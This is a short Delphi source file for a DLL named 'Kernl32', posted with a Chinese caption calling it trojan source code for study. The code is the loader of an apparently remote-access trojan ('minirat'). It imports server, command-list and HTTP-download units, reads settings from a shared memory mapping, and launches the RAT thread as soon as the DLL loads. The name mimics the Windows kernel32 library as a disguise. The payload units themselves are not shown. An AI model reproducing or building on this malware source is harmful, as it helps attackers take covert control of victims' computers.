kernl32.dpr

木马源程序,供大家研究

library Kernl32;

uses
  Windows,
  SysUtils2,
  URsConst in '..\URsConst.pas',
  Other in 'Other.pas',
  UServer in 'Server\Userver.pas',
  untCMDList in 'Server\untCMDList.pas',
  untHTTPDownload in 'Server\untHTTPDownload.pas';


exports
    miniratMain;

var
    miniratMainThread:THandle;
procedure DLLProcess(dwReason: integer);
var
  hp : THANDLE;
begin
  if dwReason=DLL_PROCESS_DETACH then       //退出DLL时
  begin
    hp := OpenProcess(PROCESS_TERMINATE, False, miniratMainThread);
    TerminateProcess(hp, 0);
  end;
end;

begin

  FileMapH := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, sFileMap);
  if FileMaph<>0 then
     Pz := MapViewOfFile(FileMapH, FILE_MAP_ALL_ACCESS, 0, 0, 0);
  if Pz<>nil then
     PieZhi:=Pz^;

//  DllProc := @DLLProcess;

//  MessageBox(0,'Run sucessed','title',MB_OK);
  // 建sProcess子线程
  CreateThread(nil, 0, @miniratMain, nil, 0, miniratMainThread);
end.